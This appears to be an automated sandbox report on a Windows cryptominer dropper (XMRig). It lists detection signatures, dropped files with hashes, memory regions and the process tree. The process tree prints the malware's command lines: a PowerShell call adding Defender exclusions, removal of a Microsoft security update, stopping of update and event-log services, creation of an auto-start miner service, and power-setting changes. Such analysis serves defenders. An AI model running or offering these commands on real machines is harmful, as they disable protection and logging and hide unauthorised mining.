Analysis

  • max time kernel
    0s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/06/2024, 01:51

General

  • Target
    c54eb244078dcaf2472c85bcce337b152dc24154d6a03004a29e4f4069d49d71.exe
  • Size 2.8MB
  • Sample240604-b945dahc7z
  • SHA256 c54eb244078dcaf2472c85bcce337b152dc24154d6a03004a29e4f4069d49d71
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • UPX dump on OEP (original entry point) 1 IoCs
  • XMRig Miner payload 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • UPX packed file 13 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c54eb244078dcaf2472c85bcce337b152dc24154d6a03004a29e4f4069d49d71.exe
    "C:\Users\Admin\AppData\Local\Temp\c54eb244078dcaf2472c85bcce337b152dc24154d6a03004a29e4f4069d49d71.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2768
    • C:\Users\Admin\AppData\Roaming\123.exe
      "C:\Users\Admin\AppData\Roaming\123.exe"
      2⤵
      • Executes dropped EXE
      PID:3060
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        PID:3996
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
          PID:3756
          • C:\Windows\system32\wusa.exe
            wusa /uninstall /kb:890830 /quiet /norestart
            4⤵
              PID:4276
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop UsoSvc
            3⤵
            • Launches sc.exe
            PID:1388
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop WaaSMedicSvc
            3⤵
            • Launches sc.exe
            PID:3316
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop wuauserv
            3⤵
            • Launches sc.exe
            PID:1112
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop bits
            3⤵
            • Launches sc.exe
            PID:3472
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop dosvc
            3⤵
            • Launches sc.exe
            PID:1592
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            3⤵
              PID:1840
            • C:\Windows\system32\powercfg.exe
              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
              3⤵
                PID:4640
              • C:\Windows\system32\powercfg.exe
                C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                3⤵
                  PID:1248
                • C:\Windows\system32\powercfg.exe
                  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                  3⤵
                    PID:1288
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe delete "NUOIJWEW"
                    3⤵
                    • Launches sc.exe
                    PID:3520
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe create "NUOIJWEW" binpath= "C:\ProgramData\rpsbjgoyhvql\gfqyepapamry.exe" start= "auto"
                    3⤵
                    • Launches sc.exe
                    PID:2596
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe stop eventlog
                    3⤵
                    • Launches sc.exe
                    PID:2660
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe start "NUOIJWEW"
                    3⤵
                    • Launches sc.exe
                    PID:3856
                • C:\Users\Admin\AppData\Roaming\svhost.exe
                  "C:\Users\Admin\AppData\Roaming\svhost.exe"
                  2⤵
                  • Executes dropped EXE
                  PID:2040
                • C:\Users\Admin\AppData\Roaming\4.exe
                  "C:\Users\Admin\AppData\Roaming\4.exe"
                  2⤵
                    PID:5096
                • C:\ProgramData\rpsbjgoyhvql\gfqyepapamry.exe
                  C:\ProgramData\rpsbjgoyhvql\gfqyepapamry.exe
                  1⤵
                    PID:3688
                    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                      2⤵
                      • Command and Scripting Interpreter: PowerShell
                      PID:2736
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                      2⤵
                        PID:2040
                        • C:\Windows\system32\wusa.exe
                          wusa /uninstall /kb:890830 /quiet /norestart
                          3⤵
                            PID:2096
                        • C:\Windows\system32\sc.exe
                          C:\Windows\system32\sc.exe stop UsoSvc
                          2⤵
                          • Launches sc.exe
                          PID:1260
                        • C:\Windows\system32\sc.exe
                          C:\Windows\system32\sc.exe stop WaaSMedicSvc
                          2⤵
                          • Launches sc.exe
                          PID:1268
                        • C:\Windows\system32\sc.exe
                          C:\Windows\system32\sc.exe stop wuauserv
                          2⤵
                          • Launches sc.exe
                          PID:2236
                        • C:\Windows\system32\sc.exe
                          C:\Windows\system32\sc.exe stop bits
                          2⤵
                          • Launches sc.exe
                          PID:2704
                        • C:\Windows\system32\sc.exe
                          C:\Windows\system32\sc.exe stop dosvc
                          2⤵
                          • Launches sc.exe
                          PID:2460
                        • C:\Windows\system32\powercfg.exe
                          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                          2⤵
                            PID:4860
                          • C:\Windows\system32\powercfg.exe
                            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                            2⤵
                              PID:4840
                            • C:\Windows\system32\powercfg.exe
                              C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                              2⤵
                                PID:2264
                              • C:\Windows\system32\powercfg.exe
                                C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                2⤵
                                  PID:2424
                                • C:\Windows\system32\conhost.exe
                                  C:\Windows\system32\conhost.exe
                                  2⤵
                                    PID:3184
                                  • C:\Windows\system32\svchost.exe
                                    svchost.exe
                                    2⤵
                                      PID:4508

                                  Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        gfqyepapamry.exe

                                        • Path C:\ProgramData\rpsbjgoyhvql\gfqyepapamry.exe
                                        • Size 2.1MB
                                        • SHA256 3c6d3539136ba6dcbb762a1e597e788a6b692964c9ea01e07e33e123a8f150a5
                                        • MD5 SHA1 SHA512 SSDEEP

                                        __PSScriptPolicyTest_u3sywheu.yp2.ps1

                                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u3sywheu.yp2.ps1
                                        • Size 60B
                                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                        • MD5 SHA1 SHA512

                                        123.exe

                                        • Path C:\Users\Admin\AppData\Roaming\123.exe
                                        • Size 2.5MB
                                        • SHA256 52c8c92f79183a354c5ee59653426b0f97209c37eec39fe5077ef43666eaf8a1
                                        • MD5 SHA1 SHA512 SSDEEP

                                        4.EXE

                                        • Path C:\Users\Admin\AppData\Roaming\4.EXE
                                        • Size 538KB
                                        • SHA256 7061f3d97ac28687798831bc212a42f0d58bdf6e8a2d15646314f1ba3575d33c
                                        • MD5 SHA1 SHA512 SSDEEP

                                        svhost.exe

                                        • Path C:\Users\Admin\AppData\Roaming\svhost.exe
                                        • Size 530KB
                                        • SHA256 ce51ed0339a350243bc1576fcfa76e1b589908055f24123c9816f0dc8bf8c22a
                                        • MD5 SHA1 SHA512 SSDEEP

                                        memory/2040-35-0x00007FFA96F43000-0x00007FFA96F45000-memory.dmp

                                        memory/2040-36-0x0000000000BE0000-0x0000000000C68000-memory.dmp

                                        memory/2736-79-0x00000167F22B0000-0x00000167F22BA000-memory.dmp

                                        memory/2736-81-0x00000167F22C0000-0x00000167F22CA000-memory.dmp

                                        memory/2736-83-0x00000167F2730000-0x00000167F2738000-memory.dmp

                                        memory/2736-84-0x00000167F2740000-0x00000167F2746000-memory.dmp

                                        memory/2736-85-0x00000167F2790000-0x00000167F279A000-memory.dmp

                                        memory/2736-82-0x00000167F2770000-0x00000167F278A000-memory.dmp

                                        memory/2736-77-0x00000167F2510000-0x00000167F252C000-memory.dmp

                                        memory/2736-78-0x00000167F2530000-0x00000167F25E5000-memory.dmp

                                        memory/2736-80-0x00000167F2750000-0x00000167F276C000-memory.dmp

                                        memory/3184-88-0x0000000140000000-0x000000014000E000-memory.dmp

                                        memory/3184-91-0x0000000140000000-0x000000014000E000-memory.dmp

                                        memory/3184-89-0x0000000140000000-0x000000014000E000-memory.dmp

                                        memory/3184-90-0x0000000140000000-0x000000014000E000-memory.dmp

                                        memory/3184-92-0x0000000140000000-0x000000014000E000-memory.dmp

                                        memory/3184-95-0x0000000140000000-0x000000014000E000-memory.dmp

                                        memory/3996-53-0x00000203F5C10000-0x00000203F5C32000-memory.dmp

                                        memory/4508-108-0x0000000140000000-0x0000000140848000-memory.dmp

                                        memory/4508-97-0x0000000140000000-0x0000000140848000-memory.dmp

                                        memory/4508-107-0x0000000140000000-0x0000000140848000-memory.dmp

                                        memory/4508-104-0x0000000140000000-0x0000000140848000-memory.dmp

                                        memory/4508-105-0x0000000140000000-0x0000000140848000-memory.dmp

                                        memory/4508-102-0x0000000140000000-0x0000000140848000-memory.dmp

                                        memory/4508-103-0x000001F592960000-0x000001F592980000-memory.dmp

                                        memory/4508-101-0x0000000140000000-0x0000000140848000-memory.dmp

                                        memory/4508-116-0x0000000140000000-0x0000000140848000-memory.dmp

                                        memory/4508-99-0x0000000140000000-0x0000000140848000-memory.dmp

                                        memory/4508-115-0x0000000140000000-0x0000000140848000-memory.dmp

                                        memory/4508-98-0x0000000140000000-0x0000000140848000-memory.dmp

                                        memory/4508-96-0x0000000140000000-0x0000000140848000-memory.dmp

                                        memory/4508-106-0x0000000140000000-0x0000000140848000-memory.dmp

                                        memory/4508-100-0x0000000140000000-0x0000000140848000-memory.dmp

                                        memory/5096-41-0x000000001E160000-0x000000001E26A000-memory.dmp

                                        memory/5096-42-0x000000001CA50000-0x000000001CA62000-memory.dmp

                                        memory/5096-43-0x000000001CCA0000-0x000000001CCDC000-memory.dmp

                                        memory/5096-40-0x00007FFA96F40000-0x00007FFA97A01000-memory.dmp

                                        memory/5096-38-0x0000000000660000-0x00000000006EC000-memory.dmp

                                        memory/5096-112-0x000000001FB90000-0x00000000200B8000-memory.dmp

                                        memory/5096-111-0x000000001F490000-0x000000001F652000-memory.dmp

                                        memory/5096-114-0x00007FFA96F40000-0x00007FFA97A01000-memory.dmp

                                        memory/5096-110-0x000000001CA10000-0x000000001CA2E000-memory.dmp

                                        memory/5096-109-0x000000001E6F0000-0x000000001E766000-memory.dmp